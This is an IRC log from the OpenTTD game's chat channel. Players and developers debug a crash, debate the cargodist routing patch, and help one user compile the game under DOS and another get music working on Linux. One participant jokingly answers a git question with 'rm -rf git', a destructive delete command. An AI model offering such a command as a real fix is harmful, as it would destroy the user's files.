asking something else I didn't get. 11:53:50 <Eddi|zuHause> planetmaker: a missing grf is totally plausible to cause this error... 11:54:12 <planetmaker> Well. I'm not missing, but I'm having three compatible stations 11:54:15 <Eddi|zuHause> planetmaker: but missing station grfs shouldn't cause it 11:54:23 <planetmaker> The question is whether they're compatible or 'compatible' 11:54:50 <planetmaker> Compatible NewGRF loaded: GRF ID 46420801, checksum 2D654630F22AA4C78A58710024C514B3, filename: new_tram_tracks.0.4.1/newtramtracksw_v0.4.1.grf 11:54:52 <planetmaker> Compatible NewGRF loaded: GRF ID 73660201, checksum A48EECE8456F718D569150FE2EC18C1A, filename: ottdc_grfpack/4_infrastructure/a_ngrails/ngrailsw.grf 11:54:54 <planetmaker> Compatible NewGRF loaded: GRF ID 43415261, checksum 808FD3F3D2863F86DD18B18AA6C4E990, filename: ottdc_grfpack/4_infrastructure/naroads/NARoadsw.grf 11:54:55 <planetmaker> Compatible NewGRF loaded: GRF ID 43415463, checksum 422B1603DC1CEDA4E59E715E12EAD332, filename: ottdc_grfpack/7_stations/canstn/canstnw.grf 11:54:57 <planetmaker> Compatible NewGRF loaded: GRF ID 58534453, checksum 2E100BCA91DB8371CD9D57DBEC3AB0C8, filename: ottdc_grfpack/7_stations/dutchstat/dutchstatw.grf 11:54:58 <planetmaker> Compatible NewGRF loaded: GRF ID 659E5728, checksum A63335CE72E5E4844675C4632598B76B, filename: ottdc_grfpack/9_last/shiptool/shiptoolv4.grf 11:55:07 *** Yexo [~Yexo@ip51cca4b5.adsl-surfen.hetnet.nl] has quit [Ping timeout: 480 seconds] 11:55:07 <Eddi|zuHause> "incompatible" stations may cause track-tiles to become non-track 11:55:08 <planetmaker> ^ Those 6 ones are which I don't have quite, but in another version 11:55:23 <planetmaker> yes, I know that sufficiently from ISR. But IIRC that looks differently 11:55:53 <planetmaker> and the track / road replacements should be harmless 11:56:12 <planetmaker> same as the price modifier for ships 11:56:16 <planetmaker> *should* 11:56:33 <Eddi|zuHause> planetmaker: that pretty much matches my list, except i don't have canset and "foundw_209" 11:56:51 <planetmaker> I dug them out ;-) 11:56:56 <fonsinchen> Cargodist could theoretically done in a "manual" micromanagement way: 11:57:07 <planetmaker> Eddi|zuHause: if it helps I can provide you with them 11:57:28 <Alberth> fonsinchen: don't know, but CD seems one big piece of complex code that mainly does connection/balancing management, I think (without close study). I am wondering whether you could solve some problem today where that part of the code gets into trunk. 11:57:31 <fonsinchen> With Proper timetabling and complete control over the amounts of cargo being transferred and delivered at each station 11:59:33 <robotboy> nearly got everything 11:59:39 <fonsinchen> Alberth: It also does "distribution", ie it determines which cargo "wants" to go where. This is actually the precondition to any balancing. Also it does connection tracking, not connection management and you can have that as a separate thing; see branch "capacities". 12:01:36 <robotboy> somehow I don't think i'll be writing a wiki article on compiling OpenTTD on DOS 12:01:49 <Alberth> assigning a destination is trivial :p perhaps the balancing thing is not needed so much? 12:02:19 <fonsinchen> it's not trivial. See the part in the wiki article about demands. 12:02:52 <Eddi|zuHause> planetmaker: #4 0x0839baf0 in Vehicle::Crash (this=0x8b04de0, flooded=true) at /home/johannes/spiele/OpenTTD/trunk/src/vehicle.cpp:168 12:02:54 <fonsinchen> Even without balancing choosing a route is hard. 12:03:00 <Eddi|zuHause> so apparently it tries to flood a vehicle 12:03:08 <Eddi|zuHause> that seems to not be related to station sets... 12:03:29 <Alberth> fonsinchen: just hop on the first train in the right direction? 12:03:31 <fonsinchen> mcf.cpp is 16k 12:04:20 <fonsinchen> A simpler algorithm might be a little smaller, but not that much. 12:04:28 <Alberth> but I am sure you are right it is less trivial than it looks 12:04:45 <Eddi|zuHause> hm... paste still unresponsive... 12:04:54 <SmatZ> Eddi|zuHause: it's dead for good 12:04:59 <SmatZ> at least for some time 12:05:00 <fonsinchen> Alberth: The interesting question is "what is the right direction?" 12:05:33 * robotboy thinks he will first attempt to compile without OpenTTD-Useful 12:05:50 <Eddi|zuHause> planetmaker: this is the vehicle http://pastebin.com/8KiZ6Z7k 12:06:35 <Alberth> fonsinchen: yes, a question with many answers. 12:07:17 <planetmaker> hm 12:07:18 <Hirundo> I think the tricky bit is indeed what you call 'non-deterministic orders' 12:07:26 <planetmaker> question is: what to do with that now... 12:07:46 <fonsinchen> non-deterministic orders are orders where I don't know the next stopping station before the order is evaluated. 12:07:49 <Eddi|zuHause> tile = 180636 12:07:50 <fonsinchen> Those are nasty. 12:07:53 <Eddi|zuHause> you might want to check this 12:08:10 <Alberth> fonsinchen: My overall feeling of CD is that it is over-managing in some way. Eg the link-graph shows that. However, I cannot put my finger on it 12:08:49 <Alberth> Hirundo: imho you should not bother about those, just like you don't hop on a train that may or may not stop at some station. 12:09:31 <fonsinchen> They are a problem because people expect the "right" cargo to be loaded but it isn't. 12:09:33 <Eddi|zuHause> planetmaker: try "scrollto"-ing to that location, should give some clues ;) 12:09:49 <planetmaker> yes, it does 12:09:55 <planetmaker> a water-depot 12:09:56 *** theholyduck [~holyduck@77.106.157.203] has joined #openttd 12:09:59 <planetmaker> however that got there 12:10:22 <SpComb> on land? 12:10:31 <Hirundo> About stopping orders, I think that these could be ignored to a certain point 12:10:50 <Alberth> fonsinchen: people often have unrealistic expectations 12:10:52 <planetmaker> SpComb: vice versa 12:10:53 <Hirundo> Passengers that want to go to the next station in the order list just board the train like normal 12:10:57 <planetmaker> a rail depot in the ocean 12:11:07 <planetmaker> which claims to have a train, but there's none in there 12:11:17 *** theholyduck [~holyduck@77.106.157.203] has quit [] 12:11:31 <fonsinchen> What about conditional orders depending on something like reliability (which drops while loading)? 12:11:36 *** theholyduck [~holyduck@77.106.157.203] has joined #openttd 12:11:49 <robotboy> hopefuly bash will get configure done this time 12:12:09 <Alberth> you have m4 too? 12:12:27 <robotboy> it came with one of the downloads 12:12:36 <Eddi|zuHause> planetmaker: if i enable build while paused, and raise the area around the depot, it doesn't crash anymore 12:12:38 <Alberth> although that may only be needed for making a .configure 12:12:46 <Alberth> *./configure 12:12:52 <Eddi|zuHause> planetmaker: i think this is a real bug 12:12:55 <Hirundo> fonsinchen: Assuming that the condition is always false should work for a start 12:13:16 <Hirundo> You just can't get it right anyway 12:13:25 <Alberth> and probably never 12:13:26 <Hirundo> The same problem exists for path signals 12:13:52 <Hirundo> (reserve a path through your destination heading for A, while you should have gone to B instead) 12:14:01 <planetmaker> Eddi|zuHause: hm, ok. I'll guess I'll prepare a bug report then. Thanks for looking at it, too 12:14:47 <Hirundo> there, the orders are evaluated at the point of choosing, you could do the same 12:14:51 <fonsinchen> Alberth: I don't quite know what you mean by "over-managing", but I kept a close eye on code size and nice integration. The link graph is a place where a complex calculation has to be done on a pretty isolated set of data. This is a good place to create a new "module" which manages itself. 12:15:48 <fonsinchen> Hirundo: always assuming false would mean that conditional orders are basically unusable with cargodist. 12:16:09 <fonsinchen> I'd rather stay with the current method of "load everything on nondeterministic orders" 12:16:35 <fonsinchen> Then it at least works like without cargodist. 12:16:53 <Hirundo> then what about assuming that the current situation doesn't change, like is done for PBS? 12:17:11 <fonsinchen> could be done for conditionals 12:17:22 <Alberth> I never needed a linkgraph with the previous CD by Celestar. Why do I need it with your version? 12:17:23 <Alberth> Did the previous version do it behind the screens, or did you take a different approach all together? 12:17:30 <fonsinchen> however, load percentage is guaranteed to change while loading ... 12:17:30 <robotboy> lets try once more to see if ive passed the os=DOS option correctly 12:18:07 <SpComb> Alberth: cargodest had a smallmap linkgraph 12:18:28 <fonsinchen> Alberth: Cargodest also has a link graph, it just calls it differently. I'll look that up for you ... 12:18:43 *** Fast2 [~Fast2@p57AF89E9.dip0.t-ipconnect.de] has joined #openttd 12:18:48 <Alberth> also with all the data on it? 12:18:54 <Eddi|zuHause> it was called "route network" 12:19:08 <Eddi|zuHause> no, it had less data, but it also couldn't do load balancing 12:19:22 <Eddi|zuHause> which is one of the main drawbacks of cargodest 12:19:51 <SpComb> I recall getting frustrated with cargodest's routing sometimes 12:20:01 <SpComb> far less so with cargodist 12:20:31 <Alberth> well, perhaps I am wrong. That's very well possible. 12:20:32 *** blaster [~heliduels@92.28.143.119] has joined #openttd 12:21:24 <Alberth> Eddi|zuHause: perhaps load balancing should not be part of cargo-d*st 12:21:36 <blaster> Is there any way to make it so that towns cannot be above a certain height, and will not place roads or buildings above that height? 12:21:43 <Eddi|zuHause> Alberth: it's a very important feature 12:21:45 <fonsinchen> Alberth: src/routing.cpp in cargodest 12:21:45 <SpComb> too much "build a wrong link somewhere and suddenly it's a million times overloaded and your other previously busy train routes are completely empty" 12:21:53 *** glx [glx@2a01:e35:2f59:c7c0:1c6e:776f:9a2b:c90e] has joined #openttd 12:21:56 *** mode/#openttd [+v glx] by ChanServ 12:22:05 <blaster> Because I want my towns to fit into the valleys I have instead of forming large blobs 12:22:23 <SpComb> blaster: turn off towns-build-roads? 12:22:46 <blaster> but then they wont grow at all 12:23:00 <blaster> I just want them not growing above a certain altitude 12:23:03 <Alberth> blaster: build roads for them 12:23:23 <Eddi|zuHause> blaster: there are a few lines you could tweak in src/town_cmd.cpp 12:23:48 <Alberth> there is no height-limit builtin at the moment, for towns 12:24:11 <Eddi|zuHause> like "don't allow building roads if height difference to town name is more than 3" or something... 12:24:19 <blaster> It seems unrealistic, on a snow landscape, for a town that has its center at low altitude to place buildings at high altitude 12:24:29 <Alberth> Eddi|zuHause: I don't deny that, but is it so tightly coupled to CD that you cannot see them as seperate problems? 12:24:47 <Alberth> blaster: realism is not a design goal of OpenTTD 12:25:17 <fonsinchen> src/routing.cpp is 32k in cargodest and it has hardly any comments. 12:26:12 <fonsinchen> src/linkgraph/*.cpp are 44k in cargodist and they contain about 50% comments. 12:26:43 <fonsinchen> Alberth: You cannot really say cargodist is more complex like that. 12:27:43 <robotboy> lets try again now that ive set the CC environment variable to my GCC path 12:30:07 <robotboy> hm it didn't seem to fix it 12:31:09 *** Pikka [~chatzilla@c122-108-245-233.kelvn3.qld.optusnet.com.au] has joined #openttd 12:31:33 <robotboy> it says Cant detect any gcc binary on your system please set cc/ccx environment to where it is located 12:31:41 <robotboy> but it's in my path 12:32:22 <blaster> Well it looks like I got a lot of roadbuilding to do 12:32:48 <glx> robotboy: it works when you type gcc ? 12:33:29 <glx> and g++ ? 12:34:03 <Alberth> fonsinchen: CD just feels somewhat awkard to me as player, it is not based on hard numbers or so. Mainly due to the link-graph, and the requiring of non-stop orders. 12:34:25 *** snc [znc@ip10.rdlbnc.com] has joined #openttd 12:34:44 * planetmaker enjoys the new ctrl+l shortcut for 'load savegame' :-) 12:34:47 <Alberth> or 'which gcc' ? 12:35:16 <glx> on DOS ? 12:35:17 <Alberth> (but not sure what provides the 'which' command) 12:35:47 <Alberth> he's building lots of unix stuff :) 12:36:27 *** welshdragon [znc@ip16.rdlbnc.com] has joined #openttd 12:37:03 <blaster> Do buildings need to touch roads in a town? 12:37:19 <blaster> or can they be a small distance away 12:37:23 <Eddi|zuHause> blaster: not necessarily 12:37:42 <Eddi|zuHause> in a 3x3 grid, they may be built on the center tile 12:38:27 <Eddi|zuHause> or they may replace a 2x2 building and end up away from the road 12:39:30 <fonsinchen> Alberth: The link graph in the smallmap is not an invention of cargodist. It has been there in cargodest before and it can easily be dropped. It's entirely contained in smallmap-zoom-in and smallmap-stats. No one is obliged to merge those branches. 12:39:51 <blaster> Its annoying that you cannot have diagonal roads 12:40:01 <blaster> They would look better for european towns 12:40:06 <planetmaker> tough luck, yes 12:40:17 <robotboy> no 12:40:18 <fonsinchen> The non-stop thing can be changed so that non-stop is ignored and the next order is always considered the next stop by cargodist. 12:40:24 <robotboy> but I fixed it 12:40:30 <Eddi|zuHause> the visual graph was part of a previous paxdest patch, it wasn't an invention of cargodest either 12:40:31 <fonsinchen> This would be about 2 lines of code. 12:40:33 <robotboy> now its whinging about g++ 12:40:42 <robotboy> hopefully ive fixed that 12:40:58 <fonsinchen> Cargodest has the same problem with non-stop btw. 12:41:21 <fonsinchen> Just like any implementation of cargo destinations would. 12:41:48 <Eddi|zuHause> it needs insertion of virtual orders 12:41:58 <Eddi|zuHause> which nobody has tried to solve yet 12:42:00 <Alberth> yes, it is very well possible that I am missing fundamental insights in this extension 12:42:28 *** KritiK [~Maxim@95-26-255-74.broadband.corbina.ru] has joined #openttd 12:42:59 <Eddi|zuHause> like i said, that's one of the main problems that prevents it from letting go on users 12:43:17 <robotboy> hm I think ive fixed it as it wanted the CC environment variable to point at GCC and not it's dir 12:43:39 <robotboy> and bash is seing my DOS environment variables 12:44:02 <Eddi|zuHause> yeah, it does that also on windows 12:44:16 *** Fuco [~dota.keys@188.123.106.105] has joined #openttd 12:44:52 *** Chrill [~chrischri@h-5-149.A212.priv.bahnhof.se] has quit [] 12:46:00 <robotboy> hm but I can't seem to get it to find g++ 12:46:18 <fonsinchen> Eddi|zuHause: Even virtual orders cannot completely solve the problem. There are cases where you simply don't know where the vehicle is going. 12:46:38 <blaster> Any good modern skyscraper newgfx? 12:46:50 <fonsinchen> The best guess for those cases is indeed "load everything". 12:46:59 <Eddi|zuHause> fonsinchen: but it solves the "just put the two end points of a route without branches" problem 12:47:54 <glx> CXX for g++ 12:49:21 <fonsinchen> Now the question is: how frequent is that problem compared to the "I just forgot non-stop and there are no intermediate stations" problem and would the added complexity be worth it. 12:50:03 <planetmaker> blaster: ttrs3 12:51:38 <glx> ttrs3 produces way too many passengers 12:51:57 <robotboy> hopefuly that will solve it glx 12:52:04 <robotboy> im just trying it 12:52:06 <Alberth> Eddi|zuHause: wouldn't generation of orders for the intermediate stations when you add the 2nd station not be more useful? 12:52:41 <Eddi|zuHause> Alberth: how to do that without actually travelling? 12:53:10 <robotboy> create an order for where the pathfinder is taking it to? 12:53:19 <Eddi|zuHause> Alberth: i fear this is heading the same direction as "autofill timetables" 12:53:56 *** Chris_Booth [~chatzilla@client-86-31-224-240.oxfd.adsl.virginmedia.com] has quit [Ping timeout: 480 seconds] 12:54:15 <blaster> planetmaker:thanks 12:54:38 <planetmaker> Japanese are also nice 12:54:53 <Alberth> I have not understood time tables either. Either they are too much manual work, or I am doing something completely wrong 12:54:58 <planetmaker> well. Every house set has its charm :-) 12:55:09 *** Chillosophy [~fu@82-170-139-109.ip.telfort.nl] has joined #openttd 12:55:15 <planetmaker> NA city has it, too. Or only nearly 12:55:55 <robotboy> im past that issue 12:56:57 <robotboy> now its whining about missing video libraries 12:57:09 <robotboy> do I need to build allegro first? 12:57:33 <planetmaker> you might try another video frontend, too 12:57:36 <planetmaker> maybe sdl? 12:58:05 <glx> for DOS only allegro works 12:58:11 <robotboy> everything ive heard says allegro is the one to use for DOS 12:58:18 <robotboy> blah glx beat me 12:58:40 <robotboy> so I need to buil allegro fist? 12:58:46 <robotboy> first 12:59:11 <glx> yes you need the libs, unless you try a dedicated build 13:03:32 <robotboy> so ive already got allegro files in my lib and include dirs 13:03:51 <robotboy> they came from the allegro zip on the djgpp site 13:07:51 <blaster> http://i25.tinypic.com/10hu44y.png 13:08:00 <blaster> There is the biggest city I have ever made 13:11:13 *** killingMachine [~me@201-2-18-9.bsace704.dsl.brasiltelecom.net.br] has joined #openttd 13:14:00 <planetmaker> http://img.openttdcoop.org/images/metropege.png <-- blaster :-) 13:14:25 *** Biolunar [mahdi@blfd-5d823cb9.pool.mediaWays.net] has quit [Quit: brb] 13:14:43 <blaster> Thats... 13:14:46 <blaster> Repetitive 13:14:57 <blaster> Is that build on flat land 13:15:17 <blaster> My city was build on mountainous rougth 13:15:44 *** Keyboard_Warrior [~holyduck@77.106.157.203] has joined #openttd 13:17:56 <planetmaker> that's very repetitive, very flat and not the biggest around ;-) 13:18:07 <planetmaker> but it has a turn-over of 100k passengers per month 13:18:19 <planetmaker> iirc 13:19:36 <blaster> My city is about 111,000 people 13:19:46 <blaster> I am planning to add another 30,000 13:20:06 <TomyLobo> "add"? 13:20:11 <blaster> Can you see that area to the south with a few rivers? 13:22:01 <blaster> The largest city would be a 3x3 covering a flat 2048x2048 map 13:22:31 *** theholyduck [~holyduck@77.106.157.203] has quit [Ping timeout: 480 seconds] 13:23:04 <Ammler> blaster: pm meant, that there is passenger service for around 100k/month, not just a big town 13:23:50 <planetmaker> blaster: the screen shows that the town there has 880.000 inhabitants ;-) 13:24:21 <Ammler> which are serviced :-P 13:24:27 <planetmaker> and it's only the 2nd biggest town on that map. My team mates / competitors were faster ;-) 13:24:33 <planetmaker> Ammler: all three towns are serviced ;-) 13:24:42 <blaster> So, you can go bigger 13:24:44 <blaster> much bigger 13:25:07 <Ammler> yes, with TTRS 13:25:10 <planetmaker> ok, now that you asked for bragging: #openttdcoop Records: Clients: 24 | Trains: 2001 (PSG#186) - 2522 (PZG#5) - ( 3000 (PSG#180) logic net) | Single cargo type output: 100,983 (PSG#176) | World Pop: 3,075,319 (PSG#101) 13:25:20 <TomyLobo> http://tomylobo.dyndns.org/openttd-yjunction.png i have a train going from the southern edge to that station. what happens if it decides to go servicing before point A? will it go to depot 1 and never find its way to the station again? 13:25:30 <Ammler> but it might be hard without newgrfs 13:25:33 <TomyLobo> or is there some code to prevent that? 13:26:17 <Alberth> no, it is not prevented 13:26:33 <TomyLobo> eww that sucks 13:26:47 <Ammler> :-o 13:26:48 <Alberth> you tend to get 'vehicle is lost' messages 13:26:49 <TomyLobo> i must have been lucky since it never happened to me so far 13:27:43 <TomyLobo> any easy way out? 13:28:01 <Eddi|zuHause> TomyLobo: you can tell the vehicles to service only at specific depots, then it won't go to others 13:28:02 <Ammler> define service depots in orders 13:28:09 <TomyLobo> i said easy ^^ 13:28:27 <Ammler> what is hard about? 13:28:28 <Alberth> build connections from/to every direction 13:28:36 <Eddi|zuHause> TomyLobo: in the orders, press "goto" and then ctrl+click on a depot 13:28:44 <Alberth> also useful when you re-organize your network 13:30:15 <TomyLobo> i cant really do that, Alberth 13:30:40 <TomyLobo> http://img833.imageshack.us/img833/1386/phillipsco20681109.png 13:30:54 <Ammler> build sidings, so trains can return 13:31:03 <TomyLobo> it would become very ugly 13:31:12 <TomyLobo> sidings? 13:31:33 *** Biolunar [mahdi@blfd-5d823cb9.pool.mediaWays.net] has joined #openttd 13:33:04 <Ammler> maglev with semaphores :-) 13:33:12 <TomyLobo> yeah :) 13:33:28 <TomyLobo> i use semaphores for block signals, electric for the rest 13:33:31 <TomyLobo> in all ages :) 13:34:27 <Ammler> you combine those and it works? 13:34:42 <TomyLobo> sure, why not? 13:34:51 <TomyLobo> it's just different graphics 13:35:06 <Ammler> I meant block and path 13:35:34 <TomyLobo> mostly, yeah 13:36:09 <TomyLobo> basically, entry into a path should be regulated by block xor path signals 13:36:19 <TomyLobo> if you combine the two, crashes can happen 13:36:21 *** robotboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has quit [Ping timeout: 480 seconds] 13:36:32 <TomyLobo> just for entry though 13:36:47 <TomyLobo> i mean entry into a block 13:37:10 <TomyLobo> trains dont care much about the signal at the end of a block 13:39:51 *** blaster [~heliduels@92.28.143.119] has quit [Quit: Died] 13:45:41 <TomyLobo> http://img832.imageshack.us/img832/2009/openttdphillipscosmallm.png 13:46:20 <TomyLobo> the city blob on the left is a 200k city btw :) 13:48:55 <TomyLobo> and the water triangle south of it is the y junction of which i posted a screenshot earlier 13:50:04 *** robotboy [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has joined #openttd 13:52:04 <robotboy> hello 13:53:47 <TomyLobo> domo arigato 13:53:51 <TomyLobo> mr roboto 13:55:04 <robotboy> how do I configure a mostly pointless DOS dedicated build? 13:56:41 *** Zahl [~Zahl@2a01:198:5c1:0:512f:5baf:495f:174c] has joined #openttd 13:57:30 <robotboy> unless I can work out how to get DJGPP to link allegro 13:59:04 <robotboy> maybe I should try asking on the djgpp newsgroup 14:00:06 *** tdev [~udev@p508EB3AC.dip.t-dialin.net] has quit [Quit: free open source vehicle simulator: http://rigsofrods.com] 14:03:45 <robotboy> hmph 14:08:45 * robotboy might post on the forums about linking Allegro first 14:11:51 <robotboy> I downloaded ftp://ftp.delorie.com/pub/djgpp/current/v2tk/allegro/all422a.zip and unzipped it using the djgpp unzip32 program into the same folder as all the other djgpp zips as per their instructions 14:15:06 *** Zahl_ [~Zahl@frbg-d9be3a5d.pool.mediaWays.net] has joined #openttd 14:15:34 *** Zahl [~Zahl@2a01:198:5c1:0:512f:5baf:495f:174c] has quit [Remote host closed the connection] 14:15:34 *** Zahl_ is now known as Zahl 14:16:37 <robotboy> TomyLobo, what day is it where you are? 14:17:06 <TomyLobo> saturday 14:17:15 <robotboy> Sunday here 14:17:24 <TomyLobo> hello australia 14:17:29 <robotboy> yep 14:19:52 * robotboy wants to get a DOS build of OpenTTD by mid night so in 21 and a half hours or so 14:23:01 *** Progman [~progman@p57A1BC77.dip.t-dialin.net] has quit [Remote host closed the connection] 14:26:50 <Eddi|zuHause> you are very ambitious ;) 14:28:28 *** fonsinchen [~fonsinche@brln-4dbaac58.pool.mediaWays.net] has quit [Remote host closed the connection] 14:32:40 <robotboy> im geusing I don't get a makefile if configure fails? 14:34:23 *** snc [znc@ip10.rdlbnc.com] has quit [Quit: Bye] 14:34:23 *** welshdragon [znc@ip16.rdlbnc.com] has quit [Quit: Hosted by rdlBNC] 14:34:24 <TomyLobo> that's the general idea :) 14:34:52 <robotboy> so I need to get allegro linking 14:35:02 <robotboy> or being found by configure 14:35:43 <planetmaker> robotboy: that's correct 14:35:54 <planetmaker> configure writes the makefile 14:36:03 *** devilsadvocate [~devilsadv@202.3.77.203] has joined #openttd 14:36:08 <robotboy> ok 14:37:46 <planetmaker> if you know what you do, you might take a makefile from another configure run elsewhere and hack it to suit your dos environment 14:38:04 <robotboy> so Allegro is in C:\DJGPP\lib and C:\DJGPP\Include (The zip from the djgpp site put it there) and the openttd source is in C:\ottdsrc would that cause problems or do I need to read the djgpp docs more 14:38:07 <robotboy> hm 14:42:15 *** Fast2 [~Fast2@p57AF89E9.dip0.t-ipconnect.de] has quit [Ping timeout: 480 seconds] 14:42:21 * robotboy has a look at the openttd wiki to see if there are any hints under compiling for linux 14:44:59 <robotboy> nope 14:46:57 <Terkhen> don't DJGPP have bash? 14:47:13 <robotboy> I am using bash 14:47:30 <robotboy> under DOS 14:49:14 *** HerzogDeXtEr [~Flex@88.130.163.202] has joined #openttd 14:54:13 <robotboy> I might see what files configure is looking for and see if I can hack it to point at the files I got from http://delorie.com/djgpp 14:54:43 <TomyLobo> hmm time travel to the 90s 14:55:52 <robotboy> my next task after compiling openttd is to assemble TTDP under DOS 14:56:28 <TomyLobo> but wouldnt the completition of task 1 make task 2 completely useless? :) 14:56:54 <robotboy> no 14:57:32 <robotboy> I prefer TTDP 14:57:47 <robotboy> but I try to help both sides 14:59:17 * robotboy goes downstairs to see if le tour is still on 15:04:24 <Ammler> looks more like they help you, then you them 15:05:16 <planetmaker> eh? 15:05:39 <planetmaker> why do you think so, Ammler ? 15:06:02 <Ammler> ah, nvm :-) 15:06:18 <Ammler> just mean, it seems like he needs more help to get it running 15:06:37 <Ammler> as that it helps openttd 15:08:02 <planetmaker> I don't think so. He's doing the work, no one else 15:08:29 <planetmaker> and it's a valuable check for those seldom (never?) tested parts 15:09:45 <planetmaker> similar but much more challanging than me building an OSX - SDL version once in a while ;-) 15:09:58 <planetmaker> useless but fun :-P 15:10:34 <Ammler> well, there at least you aren't the only one 15:11:13 <Ammler> but indeed, same stupid OS :-P 15:11:48 <planetmaker> pffft! ;-) 15:12:01 <Ammler> is the DOS source availalbe? 15:13:04 <planetmaker> usual source 15:17:35 * robotboy wonders if unziping it on his usb key in dos and then copying the source mucked up the LFNs 15:18:17 * Rubidium got the feeling that cross-compiling is a hell of a lot easier 15:18:22 <robotboy> and if that is in any way causing problems 15:18:29 <robotboy> it probably is 15:19:07 <robotboy> would I be able to get your makefile to have a peek at and fidle with please? 15:19:40 <Wolf01> robotboy, I bet is more simple to build a bootable OTTD with nanolinux or such than compiling it for dos 15:20:14 <robotboy> but I kinda enjoy the challenge 15:21:54 <CIA-2> OpenTTD: smatz * r20212 /trunk/known-bugs.txt: -Doc: remove the (now invalid) comment about problems with certain zlib versions 15:22:35 *** Chris_Booth [~chatzilla@client-86-31-224-240.oxfd.adsl.virginmedia.com] has joined #openttd 15:23:33 <robotboy> I am happy to try and hack an existing and working makefile to get a succesful build 15:23:53 <robotboy> since I am effectively running *nix under DOS 15:24:03 *** Narigo [~Narigo@95-90-234-101-dynip.superkabel.de] has joined #openttd 15:24:50 *** Xrufuian [~Xrufuian@pool-98-119-100-103.lsanca.btas.verizon.net] has joined #openttd 15:27:53 <Narigo> i saw, that there is "OpenMSX" to download for music... i did so in the game, but the music still seems to be missing. in the player, i can see the names of the songs, but when i press play, the name of the played song quickly changes to the next song and so on... anyone has a hint for me? 15:28:05 *** Pikka [~chatzilla@c122-108-245-233.kelvn3.qld.optusnet.com.au] has quit [Quit: ChatZilla 0.9.86 [Firefox 3.6.8/20100722155716]] 15:28:47 <Rubidium> you're using Linux and haven't installed timidity 15:28:58 <Narigo> that could be true :) 15:29:24 <Narigo> let's see if i find a package for that 15:30:23 <Narigo> should i hear music in the main screen? 15:30:38 <Narigo> (just installed a package called timidity++) 15:31:06 <Rubidium> probably because it didn't work the first time it's "stopped" 15:31:17 <Rubidium> so you have to start a game and start the music 15:32:42 <Narigo> ok, so now the music player doesn't quickly change the tracks anymore, but there is still no music...? :( 15:33:08 <Rubidium> shut down openttd 15:33:44 <Rubidium> and try to run the files in ~/.openttd/content_download/gm/opensmx (or so) with timidity 15:34:59 <Narigo> hmm that doesn't work... so i guess i have to search for midi / linux in general? 15:36:22 *** Keyboard_Warrior [~holyduck@77.106.157.203] has quit [Read error: Connection reset by peer] 15:36:23 <Rubidium> so timidity doesn't generate sound output 15:36:32 <Rubidium> that at least narrows it down 15:36:47 *** Keyboard_Warrior [~holyduck@77.106.157.203] has joined #openttd 15:37:18 <Narigo> i'm trying to figure that out then first... thanks for your help, Rubidium :) 15:37:25 * Wolf01 goes out 15:37:33 *** Wolf01 [~wolf01@host41-235-dynamic.4-87-r.retail.telecomitalia.it] has quit [Quit: Once again the world is quick to bury me.] 15:37:42 <Rubidium> are all sound channels (or what they're called) unmuted? 15:39:04 <Narigo> yeah, but my soundcard generally makes trouble with linux... (headphone jack not working properly, the regular boxes are "surround", headphones is "front", ...) 15:39:38 <planetmaker> Narigo: you can try to play the midi files outside OpenTTD 15:39:41 <planetmaker> What happens then? 15:40:45 <Rubidium> planetmaker: what did I just instruct him to do? 15:41:16 <planetmaker> something which is outside my view without scrolling 15:41:31 <Ammler> @seen Zuu 15:41:32 <DorpsGek> Ammler: Zuu was last seen in #openttd 4 days, 18 hours, 5 minutes, and 23 seconds ago: <Zuu> ah, good you remembered my name :-) (or looked it up at flyspray ;) ) 15:41:38 <Rubidium> so you can't see the 17:33 lines anymore? 15:41:43 <planetmaker> nope 15:41:50 <Rubidium> then you really must have a low resolution 15:41:52 <planetmaker> unless I scroll up 15:42:18 <planetmaker> I rather have a not too high window on a 13" laptop screen. 15:42:49 <Rubidium> my screen is a whopping 2 inches bigger, still has till 17:08 (and it's not even maximised) 15:43:01 <planetmaker> which currently shows about... 16 lines 15:43:04 <Rubidium> 17:04 when maximised 15:43:44 <glx> your clock seems wrong 15:43:46 <CIA-2> OpenTTD: smatz * r20213 /branches/1.0/known-bugs.txt: 15:43:46 <CIA-2> OpenTTD: [1.0] -Backport from trunk: 15:43:46 <CIA-2> OpenTTD: - Doc: Remove the (now invalid) comment about problems with certain zlib versions (r20212) 15:44:01 <Rubidium> glx: why? 15:44:12 <glx> hmm no, my brain is :) 15:45:06 *** Chris_Booth [~chatzilla@client-86-31-224-240.oxfd.adsl.virginmedia.com] has quit [Ping timeout: 480 seconds] 15:48:04 <Narigo> looks like i needed another package, otherwise timidity couldn't understand how the instruments sound (if i understood that correctly) 15:48:26 <Narigo> it works! :) 15:48:44 <Narigo> thanks for the hints and help 15:49:34 * robotboy shall get the DOS port of sed in the morning/afternoon as I need it to configure a dedicated build 15:50:02 <robotboy> I am trying for a dedicated build to prove I can atleast build OpenTTD under DOS 15:51:59 *** rhaeder [~quix0r@188.109.246.175] has quit [Quit: Leaving.] 15:57:33 *** Brianetta [~brian@188-220-91-30.zone11.bethere.co.uk] has quit [Quit: TschÃŒÃ] 16:01:54 <robotboy> gnight or rather gmorning 16:02:29 <planetmaker> enjoy, robotboy 16:02:51 *** robotboy is now known as robobed 16:20:46 *** Jhs [~Jhs4@188.113.85.20] has joined #openttd 16:22:13 *** Eddi|zuHause [~johekr@p54B77704.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 16:29:58 *** Eddi|zuHause [~johekr@p54B76F36.dip.t-dialin.net] has joined #openttd 16:31:49 <Eddi|zuHause> <Rubidium> my screen is a whopping 2 inches bigger, still has till 17:08 (and it's not even maximised) <-- i have seen your screen, you need glasses to decipher anything... 16:33:21 *** andythenorth [~andytheno@salieri.openttdcoop.org] has joined #openttd 16:33:47 <Ammler> how do I revert something with git? 16:33:55 <Ammler> git checkout? 16:34:27 <Eddi|zuHause> "git revert"? 16:36:07 <Alberth> rm -rf git 16:37:08 <Alberth> http://wiki.sourcemage.org/Git_Guide 16:41:41 <Ammler> I just removed and pulled again 16:41:53 <Ammler> (the "bad" files 16:43:25 *** robobed [~robotboy@CPE-58-173-41-16.nxzp1.ken.bigpond.net.au] has quit [Read error: Operation timed out] 16:43:56 <Ammler> hmm, git revert doesn't exist that long? 16:45:10 <Eddi|zuHause> dunno 16:54:14 *** Brin [~KouDy@rb5ck203.net.upc.cz] has joined #openttd 17:00:25 *** KouDy [~KouDy@rb5ck203.net.upc.cz] has quit [Ping timeout: 480 seconds] 17:00:26 *** Brin is now known as KouDy 17:04:01 <Alberth> no doubt it does exist, but you need some exotic command or weird flags 